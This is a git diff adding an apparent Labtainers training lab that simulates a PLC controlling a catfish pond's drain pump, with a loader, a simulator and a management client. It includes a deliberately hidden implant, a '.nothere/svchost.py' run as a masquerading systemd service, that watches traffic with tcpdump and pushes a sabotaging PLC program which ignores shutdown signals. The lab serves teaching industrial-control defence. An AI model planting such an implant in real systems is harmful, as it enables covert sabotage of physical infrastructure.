doSend(sock, 'status:') + #print('command sent') + data = getData(sock) + #print('reply received') + print data + +elif args.command == 'load': + print('plc_code is %s data is %s' % (args.program, args.configuration)) + with open(args.program, mode='rb') as fh: + code = fh.read(); + doSend(sock, 'load:'+code) + with open(args.configuration, mode='rb') as fh: + config = fh.read(); + doSend(sock, config) + success = getData(sock) + if success is not None: + print success + else: + print 'Error executing load command. Did the firewall block the load?' +elif args.command == 'retrieve': + code_file = 'plc_code.retrieved' + config_file = 'plc_config.retrieved' + doSend(sock, 'retrieve:') + code = getData(sock) + config = getData(sock) + with open(code_file, 'w') as fh: + fh.write(code) + with open(config_file, 'w') as fh: + fh.write(config) + print('Retreived PLC code/data into %s and %s' % (code_file, config_file)) +elif args.command == 'reset': + doSend(sock, 'reset:') +try: + sock.shutdown(socket.SHUT_RDWR) +except: + pass +sock.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/README new file mode 100644 index 000000000..a76233db2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/README @@ -0,0 +1,2 @@ +NOTE: the two python services are started by the XTERM command via the start.config. +(how long were you looking for the plc.sh invocation?) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/ignorelocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/ignorelocal new file mode 100644 index 000000000..18b21b539 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/ignorelocal @@ -0,0 +1,2 @@ +physical_world.py +plc_loader.py diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/plc.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/plc.sh new file mode 100644 index 000000000..abdb760f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_bin/plc.sh @@ -0,0 +1,4 @@ +#!/bin/bash +./plc_loader.py > loader.log 2>&1 & +./physical_world.py +exit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/physical_world.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/physical_world.py new file mode 100755 index 000000000..0882eb241 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/physical_world.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python +import ctypes +import mmap +import os +import sys +import struct +import time +import curses +import logging +''' +This python script represents the physical system. It interacts with +the PLC via shared memory. The physical system has two active attributes. +The first is a source of water flowing into a resevoir at a rate that +varies over time. The second is an outflow drain pump that is either on or off, +controlled by the PLC. When open, the pump removes 2 vertical feet per day +from the resevior. Everything +is measured in feet per day, and there is one day of simulated time per second +of real time. + +Shared memory represents an I/O device connecting the simulated PLC to the physical +system. The first 32-bit int represents the current water level, and is written by a physical +system monitor to shared memory. The second 32-bit int +is an input from the PLC, which is true if the pump is running, false if closed. +''' + +filename='/tmp/iodevice' +log_30 = 0 +log_20 = 0 +count_resets = 0 +LOGFILE = "./phys_world.log" +print("logging to %s" % LOGFILE) +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("Starting physical_world") + +def doMap(): + # Create new empty file to back memory map on disk + # and return the buf associated with it + print('try open %s' % filename) + while not os.path.isfile(filename): + time.sleep(1) + fd = os.open(filename, os.O_RDWR) + + # Create the mmap instace with the following params: + # fd: File descriptor which backs the mapping or -1 for anonymous mapping + # length: Must in multiples of PAGESIZE (usually 4 KB) + # flags: MAP_SHARED means other processes can share this mmap + # prot: PROT_WRITE means this process can write to this mmap + buf = None + while buf is None: + try: + buf = mmap.mmap(fd, mmap.PAGESIZE, mmap.MAP_SHARED, mmap.PROT_WRITE) + except: + time.sleep(1) + logging.debug("physical_world, file mapped") + return buf + +def logWaterLevel(water_level, reset_counter, timestamp): + retval = False + global log_20 + global log_30 + global count_resets + if count_resets != reset_counter: + count_resets = reset_counter + log_30 = 0 + log_20 = 0 + now = int(time.time()) + if (now - timestamp) > 30: + if log_30 > 0: + logging.debug('no heartbeat now is %d, last was %d' % (timestamp, now)) + log_30 = 0 + log_20 = 0 + + if water_level == 30: + log_30 += 1 + if water_level == 20: + log_20 += 1 + if log_30 == 4 and log_20 == 4: + with open('water_level.log', 'w') as fh: + fh.write('PLC Secured\n') + retval = True + return retval + +def main(screen): + log_close = False + flood = "The pond breached its banks and flooded the farmer's field" + dry = "The low water level led to catfish mutations. They walked \ninto the farmer's fields and ate all the crops." + success = "Well done! You have protected the farm's infrastructure. \nThe lab is completed." + clear = ' ' * 200 + buf = doMap() + # Now create an int in the memory mapping + water_level = ctypes.c_int.from_buffer(buf) + pump_running = ctypes.c_int.from_buffer(buf, 4) + loader_ready = ctypes.c_int.from_buffer(buf, 8) + reset_counter = ctypes.c_int.from_buffer(buf, 12) + timestamp = ctypes.c_int.from_buffer(buf, 16) + while loader_ready.value == 0: + time.sleep(1) + logging.debug("physical_world, loader must be ready") + water_level.value = 20 + ''' rate of water leaving via drain (when open)''' + out_flow_rate = 2 + ''' rate of water coming in ''' + in_flow_rate = 1 + curses.noecho() + curses.cbreak() + curses.init_pair(1, curses.COLOR_GREEN, curses.COLOR_BLUE) + curses.init_pair(2, curses.COLOR_YELLOW, curses.COLOR_BLACK) + screen.bkgd(curses.color_pair(2)) + #screen.keypad(1) + screen.nodelay(1) + screen.refresh() + #win = curses.newwin(5,20,5,5) + #win.bkgd(curses.color_pair(2)) + #win.box() + + paused = False + screen.addstr(2,1, "Status of Farmer Jones' catfish pond water level") + lab_success = False + while True: + if not lab_success: + lab_success = logWaterLevel(water_level.value, reset_counter.value, timestamp.value) + if pump_running.value == 1 and water_level.value > 0: + water_level.value -= out_flow_rate + #print('pump running') + screen.addstr(8,1, "Pump: running") + sys.stdout.write('\x1b]2;Physical_World: Pump running\x07') + sys.stdout.flush() + else: + screen.addstr(8,1, "Pump: stopped") + sys.stdout.write('\x1b]2;Physical_World: Pump stopped\x07') + sys.stdout.flush() + if water_level.value < 42: + water_level.value += in_flow_rate + screen.addstr(11,1, "Pond water level: %4d" % water_level.value) + #print('current level is %s' % water_level.value) + if water_level.value > 40: + screen.addstr(15,1, flood) + sys.stdout.write('\x1b]2;Physical_World: Fields Flooded\x07') + sys.stdout.flush() + elif water_level.value < 5: + screen.addstr(15,1, dry) + sys.stdout.write('\x1b]2;Physical_World: Pond Dry\x07') + sys.stdout.flush() + elif lab_success: + screen.addstr(15, 1, success) + sys.stdout.write('\x1b]2;Physical_World: Success\x07') + sys.stdout.flush() + else: + screen.addstr(15,1,clear) + screen.refresh() + c = screen.getch() + if c == 32: + paused = not paused + time.sleep(1) + raw_input("any key to end") + +try: + curses.wrapper(main) +except KeyboardInterrupt: + print('keyboard exception, bye') + exit() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/plc_loader.log b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/plc_loader.log new file mode 100644 index 000000000..abc5e2cd2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/plc_loader.log @@ -0,0 +1 @@ +DEBUG:root:Starting plc_loader diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/plc_loader.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/plc_loader.py new file mode 100755 index 000000000..c9b7ebe0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/plc/plc_loader.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +import socket +import sys +import time +import os +import signal +import subprocess +import ctypes +import mmap +import logging + +''' +Manage loading of PLC firmware. Listen to a TCP socket for a +connection. The protocol is a four byte length field (represented +as an ascii string) followed by the data. On each connection, +the first data goes to the code file, the second to the config.txt +file. After firmware is loaded, the PLC executes. +''' + +# Create a TCP/IP socket +LOGFILE = "./plc_loader.log" +print("logging to %s" % LOGFILE) +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG, + format='%(asctime)s %(levelname)-8s %(message)s', datefmt='%y-%m-%d %H:%M:%S') +logging.debug("Starting plc_loader") +filename='/tmp/iodevice' +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server_address = ('172.26.0.3', 10000) +print >>sys.stderr, 'starting up on %s port %s' % server_address +sock.bind(server_address) +# Listen for incoming connections +sock.listen(1) + +def doMap(): + # Create new empty file to back memory map on disk + # and return the buf associated with it + logging.debug('doMap try open %s' % filename) + fd = os.open(filename, os.O_CREAT | os.O_TRUNC | os.O_RDWR) + + # Zero out the file to insure it's the right size + assert os.write(fd, '\x00' * mmap.PAGESIZE) == mmap.PAGESIZE + + # Create the mmap instace with the following params: + # fd: File descriptor which backs the mapping or -1 for anonymous mapping + # length: Must in multiples of PAGESIZE (usually 4 KB) + # flags: MAP_SHARED means other processes can share this mmap + # prot: PROT_WRITE means this process can write to this mmap + buf = mmap.mmap(fd, mmap.PAGESIZE, mmap.MAP_SHARED, mmap.PROT_WRITE) + return buf + +def sendData(connection, data): + size = len(data) + size_str = '%4d' % size + try: + connection.sendall(size_str) + connection.sendall(data) + except socket.error, msg: + logging.debug('Failed sending data, socket error, could be client dropped: %s' % msg) + + +def getData(connection): + rbytes = '' + try: + #print('getData get size') + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + return None + try: + size = int(size_str) + except: + logging.debug('getData could not parse int from %s' % size_str) + print >>sys.stderr, 'getData could not parse int from <%s>' % size_str + exit(1) + logging.debug('expect %d bytes' % size) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + print >>sys.stderr, 'received "%d bytes"' % len(data) + logging.debug('received "%d bytes"' % len(data)) + if data: + rbytes = rbytes + data + else: + print >>sys.stderr, 'no more data from', client_address + break + print >>sys.stderr, 'done read, got total of %d bytes' % len(rbytes) + logging.debug('done read, got total of %d bytes' % len(rbytes)) + except socket.error: + print >>sys.stderr, 'proxy socket error %s' % str(socket.error) + connection.close() + rbytes = None + return rbytes + + +def signal_handler(signal, frame): + global connection + connection.close() + print >>sys.stderr, 'got signal, bye' + exit(0) + +connection = None +signal.signal(signal.SIGINT, signal_handler) +signal.signal(signal.SIGTERM, signal_handler) +ps = None +status = False +buf = doMap() +logging.debug('back from doMap') +water_level = ctypes.c_int.from_buffer(buf, 0) +pump_running = ctypes.c_int.from_buffer(buf, 4) +loader_ready = ctypes.c_int.from_buffer(buf, 8) +reset_counter = ctypes.c_int.from_buffer(buf, 12) +timestamp = ctypes.c_int.from_buffer(buf, 16) +reset_counter.value = 1 +loader_ready.value = 1 +logging.debug('set ready to 1') +config_params = None +while True: + # Wait for a connection + print >>sys.stderr, 'waiting for a connection' + logging.debug('waiting for a connection') + connection, client_address = sock.accept() + connection.setblocking(True) + connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + + print >>sys.stderr, 'connection from', client_address + logging.debug('connection from %s:%s' % (client_address[0], client_address[1])) + + rbytes = getData(connection) + if rbytes is None: + logging.debug('Read None from getData, dropped by proxy?') + else: + now = time.time() + timestamp.value = int(now) + parts = rbytes.split(':',1) + load_ok = True + if parts[0] == 'load': + logging.debug('load command') + if ps is not None: + ps.send_signal(signal.SIGINT) + print >>sys.stderr, 'signal sent to PLC, wait for it to die' + logging.debug('signal sent to PLC, wait for it to die') + time.sleep(2) + if ps.poll() is None: + load_ok = False + logging.debug('PLC still running, ignored signal?') + else: + print >>sys.stderr, 'PLC has terminated, load new program' + logging.debug('PLC terminated, load new program') + if load_ok: + data = parts[1] + with open('plc', 'w') as fh: + os.chmod('plc', 0o777) + fh.write(data) + fh.close + print >>sys.stderr, 'code file closed' + data = getData(connection) + if rbytes is None: + logging.debug('Read None from getData, dropped by proxy?') + else: + with open('config.txt', 'w') as fh: + os.chmod('config.txt', 0o777) + fh.write(data) + config_params = data + fh.close + print >>sys.stderr, 'config file closed' + ps = subprocess.Popen('./plc', shell=False) + status = True + sendData(connection, 'Program and configuration loaded into PLC') + else: + sendData(connection, 'Error: Existing PLC program failed to terminate!\nYou may need to reset the PLC.') + elif parts[0] == 'status': + #print('is status, send reply') + logging.debug('status command') + if not status: + status_string = 'PLC not running' + else: + status_string = 'PLC running \nWater level: %d\nParams: %s' % (water_level.value, config_params) + sendData(connection, 'status:%s' % status_string) + elif parts[0] == 'retrieve': + logging.debug('retrieve command') + if os.path.isfile('plc'): + with open('plc', 'r') as fh: + sendData(connection, fh.read()) + with open('config.txt', 'r') as fh: + sendData(connection, fh.read()) + else: + sendData(connection, 'no file') + sendData(connection, 'no file') + elif parts[0] == 'reset': + logging.debug('reset command') + if ps is not None: + ps.kill() + print >>sys.stderr, 'PLC killed' + logging.debug('back from kill') + pump_running.value = 0 + status = False + ps = None + reset_counter.value += 1 + + + print >>sys.stderr, 'closing connection' + logging.debug('closing connection') + connection.close() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/build.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/build.sh new file mode 100755 index 000000000..5158044ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/build.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -o plc plc.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/config.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/config.txt new file mode 100644 index 000000000..c40d21b70 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/config.txt @@ -0,0 +1 @@ +0 25 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/plc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/plc new file mode 100755 index 000000000..72f441b59 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/plc differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/plc.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/plc.c new file mode 100644 index 000000000..510018ec3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/plc.c @@ -0,0 +1,82 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define FILEPATH "/tmp/iodevice" +#define NUMINTS (1000) +#define FILESIZE (NUMINTS * sizeof(int)) +void signal_handler(int signo) +{ + if (signo == SIGINT) + { + //printf("caught SIGNINT, exit\n"); + while(1) + { + sleep(1000); + } + } +} +int main(int argc, char *argv[]) +{ + int i; + int fd; + int result; + int *map; /* mmapped array of int's */ + if(signal(SIGINT, signal_handler) == SIG_ERR) + { + //fprintf(stderr, "failed setting up signals\n"); + exit(1); + } + /* Open a file for writing. + * - Creating the file if it doesn't exist. + * Note: "O_WRONLY" mode is not sufficient when mmaping. + */ + //printf("PLC starting, simulated IO on mapped file: %s\n", FILEPATH); + fd = open(FILEPATH, O_RDWR, (mode_t)0600); + if (fd == -1) { + perror("Error opening file for writing"); + exit(EXIT_FAILURE); + } + /* Now the file is ready to be mmapped. + */ + //printf("do mmap \n"); + map = mmap(0, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (map == MAP_FAILED) { + close(fd); + //printf("Error mmapping the file\n"); + exit(EXIT_FAILURE); + } + //printf("done mmap \n"); + /* mmap[0] is water level + mmap[1] is pump, 1 for on, 0 for off */ + FILE *config = fopen("config.txt", "r"); + //printf("done fopen config \n"); + if (config == NULL) { + //printf("Error opening config file\n"); + exit(EXIT_FAILURE); + } + int min_level = 0; + int max_level = 0; + //printf("do scan \n"); + fscanf(config, "%d %d", &min_level, &max_level); + //printf("done scan \n"); + while(1) + { + int current_level = map[0]; + if(current_level > max_level) + { + map[1] = 1; + }else if(current_level < min_level){ + map[1] = 0; + } + //printf("map 0 is %d\n", map[0]); + //printf("map 1 is %d\n", map[1]); + sleep(1); + } +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/svchost.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/svchost.py new file mode 100755 index 000000000..72446f185 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/.nothere/svchost.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python +import socket +import sys +import subprocess +import time +import logging + + +def doConnect(): + # Create a TCP/IP socket + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Connect the socket to the port where the server is listening + server_address = ('172.25.0.3', 10000) + #print >>sys.stderr, 'connecting to %s port %s' % server_address + sock.connect(server_address) + return sock + +def doSend(sock, data): + size = len(data) + size_str = '%4d' % size + sock.sendall(size_str) + sock.sendall(data) +def getData(connection): + rbytes = '' + try: + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + return None + try: + size = int(size_str) + except: + print >>sys.stderr, 'getData could not parse int from <%s>' % size_str + exit(1) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + #print >>sys.stderr, 'received "%d bytes"' % len(data) + if data: + rbytes = rbytes + data + else: + #print >>sys.stderr, 'no more data from', client_address + break + #print >>sys.stderr, 'done read, got total of %d bytes' % len(rbytes) + except socket.error: + print >>sys.stderr, 'proxy socket error %s' % str(socket.error) + connection.close() + rbytes = None + return rbytes + + +LOGFILE = "/tmp/mgmt.log" +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("hi from svchost") + + +while True: + p = subprocess.Popen(['tcpdump', '-l', '-XX', '-i', 'eth0', '--direction=out'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + logging.debug("tcpdump running") + for row in iter(p.stdout.readline, b''): + #print row.rstrip() + #if 'plc.proxy.student.management_lan' in row: + if 'load:' in row: + #print(' got it ') + time.sleep(2) + sock = doConnect() + doSend(sock, 'status:') + data = getData(sock) + sock.close() + logging.debug("found load in tcpdump, data is: %s" % data) + if "Params: 20 30" in data: + logging.debug('Is dry config, send the program') + break + + #print 'out of loop' + time.sleep(25) + + logging.debug("connect and send code") + sock = doConnect() + plc_code = './plc' + plc_config = './config.txt' + #print('plc_code is %s data is %s' % (plc_code, plc_config)) + with open(plc_code, mode='rb') as fh: + code = fh.read(); + doSend(sock, 'load:'+code) + with open(plc_config, mode='rb') as fh: + config = fh.read(); + doSend(sock, config) + sock.close() + logging.debug("done, bye") + p.kill() + p.wait() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/README new file mode 100644 index 000000000..230867e6a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/README @@ -0,0 +1,16 @@ +README for Farmer Jones system management computer. +The home directory includes: + plc An executable PLC program that is loaded into the PLC using + the "manage_plc load" command. + + plc.c The source code for the plc program. + + config_dry.txt Configuration data to control the PLC for the dry season. It + is loaded into PLC using the "manage_plc" load command. + config_wet.txt Same as config_dry.txt, but used for the rainy season. This + configuration allows the pond to absorb additional runoff from the creek. + + +This computer includes the "sys_management" program, use: + sys_management -h +to learn what it does. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/fixlocal.sh new file mode 100755 index 000000000..aa2757799 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +cd $HOME +./build.sh +# unblock the waitparam.service, which is a predicate for svchost +PERMLOCKDIR=/var/labtainer/did_param +sudo mkdir -p "$PERMLOCKDIR" +sudo systemctl enable svchost +sudo systemctl start svchost diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/ignorelocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/ignorelocal new file mode 100644 index 000000000..0025efc96 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/ignorelocal @@ -0,0 +1,2 @@ +svchost.py +build.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/precheck.sh new file mode 100755 index 000000000..21e2da890 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_bin/precheck.sh @@ -0,0 +1,14 @@ +!/usr/bin/env bash + +# precheck.sh +# Description: +# This file should contain checks for local settings (such as sysctl) +# specific for each lab. The resulting output will go into the +# precheck.stdout.timestamp file +# +MANAGEHASH="manage_plc.py "$(openssl dgst -md5 "manage_plc.py") +echo $MANAGEHASH +PLCHASH="plc.c "$(openssl dgst -md5 "plc.c") +echo $PLCHASH +HIDDENFILEHASH="nothere "$(tar -cf - .nothere | md5sum | openssl dgst -md5) +echo $HIDDENFILEHASH diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/lib/systemd/system/svchost.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/lib/systemd/system/svchost.service new file mode 100644 index 000000000..66f84d4fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/lib/systemd/system/svchost.service @@ -0,0 +1,13 @@ +[Unit] +Description=SVC Host + +[Service] +Type=simple +ExecStart=/home/admin/.nothere/svchost.py +StandardOutput=null +WorkingDirectory=/home/admin/.nothere + +[Install] +WantedBy=multi-user.target +Alias=svchost.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/sbin/faux_init new file mode 100755 index 000000000..3aae85ed8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/svchost.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/usr/bin/manage_plc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/usr/bin/manage_plc new file mode 100755 index 000000000..4de632a74 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/_system/usr/bin/manage_plc @@ -0,0 +1,109 @@ +#!/usr/bin/env python +import socket +import sys +import argparse + + +def doConnect(): + # Create a TCP/IP socket + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Connect the socket to the port where the server is listening + server_address = ('172.25.0.3', 10000) + print >>sys.stderr, 'connecting to %s port %s' % server_address + try: + sock.connect(server_address) + except: + return None + return sock + +def doSend(sock, data): + size = len(data) + size_str = '%4d' % size + sock.sendall(size_str) + sock.sendall(data) + +def getData(connection): + rbytes = '' + try: + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + return None + try: + size = int(size_str) + except: + print >>sys.stderr, 'getData could not parse int from <%s>' % size_str + exit(1) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + #print >>sys.stderr, 'received "%d bytes"' % len(data) + if data: + rbytes = rbytes + data + else: + #print >>sys.stderr, 'no more data from', client_address + break + #print >>sys.stderr, 'done read, got total of %d bytes' % len(rbytes) + except socket.error: + print >>sys.stderr, 'firewall socket error %s' % str(socket.error) + connection.close() + rbytes = None + return rbytes + +parser = argparse.ArgumentParser() +subparsers = parser.add_subparsers(dest='command') +load_parser = subparsers.add_parser('load', help='load program and configuration data into the PLC') +load_parser.add_argument('program', type=str, help='File name of the program') +load_parser.add_argument('configuration', type=str, help='File name of the configuration data') +status_parser = subparsers.add_parser('status', help='determine if the plc is running') +retrieve_parser = subparsers.add_parser('retrieve', help='Get program and data from the plc and store in local file') +reset = subparsers.add_parser('reset', help='Resets the PLC to its initial state with no program running.') + + +args = parser.parse_args() + +sock = doConnect() +if sock is None: + print('Error connecting to PLC or firewall') + exit(0) +sock.setblocking(True) +if args.command == 'status': + doSend(sock, 'status:') + #print('command sent') + data = getData(sock) + #print('reply received') + print data + +elif args.command == 'load': + print('plc_code is %s data is %s' % (args.program, args.configuration)) + with open(args.program, mode='rb') as fh: + code = fh.read(); + doSend(sock, 'load:'+code) + with open(args.configuration, mode='rb') as fh: + config = fh.read(); + doSend(sock, config) + success = getData(sock) + if success is not None: + print success + else: + print 'Error executing load command. Did the firewall block the load?' +elif args.command == 'retrieve': + code_file = 'plc_code.retrieved' + config_file = 'plc_config.retrieved' + doSend(sock, 'retrieve:') + code = getData(sock) + config = getData(sock) + with open(code_file, 'w') as fh: + fh.write(code) + with open(config_file, 'w') as fh: + fh.write(config) + print('Retreived PLC code/data into %s and %s' % (code_file, config_file)) +elif args.command == 'reset': + doSend(sock, 'reset:') +try: + sock.shutdown(socket.SHUT_RDWR) +except: + pass +sock.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/build.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/build.sh new file mode 100755 index 000000000..5158044ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/build.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -o plc plc.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/config_dry.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/config_dry.txt new file mode 100644 index 000000000..0060859b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/config_dry.txt @@ -0,0 +1 @@ +20 30 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/config_wet.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/config_wet.txt new file mode 100644 index 000000000..bb5208477 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/config_wet.txt @@ -0,0 +1 @@ +15 25 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/plc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/plc new file mode 100755 index 000000000..1e223f432 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/plc differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/plc.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/plc.c new file mode 100644 index 000000000..e3c0b700b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-app/sys_management/plc.c @@ -0,0 +1,80 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define FILEPATH "/tmp/iodevice" +#define NUMINTS (1000) +#define FILESIZE (NUMINTS * sizeof(int)) +#define FILE_ID "MY_FILE_ID" +void signal_handler(int signo) +{ + if (signo == SIGINT) + { + printf("caught SIGNINT, exit\n"); + exit(1); + } +} +int main(int argc, char *argv[]) +{ + int i; + int fd; + int result; + int *map; /* mmapped array of int's */ + if(signal(SIGINT, signal_handler) == SIG_ERR) + { + fprintf(stderr, "failed setting up signals\n"); + exit(1); + } + /* Open a file for writing. + * - Creating the file if it doesn't exist. + * Note: "O_WRONLY" mode is not 